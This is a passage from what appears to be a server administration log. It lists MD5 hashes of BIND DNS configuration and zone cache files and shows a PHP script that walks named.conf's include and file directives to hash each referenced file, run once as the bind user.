MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:58:58: Establishing a connection
2026-04-30 16:58:58: 

PUT: /tmp/pkp376714

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:58:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp376714; rm /tmp/pkp376714'

2026-04-30 16:58:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
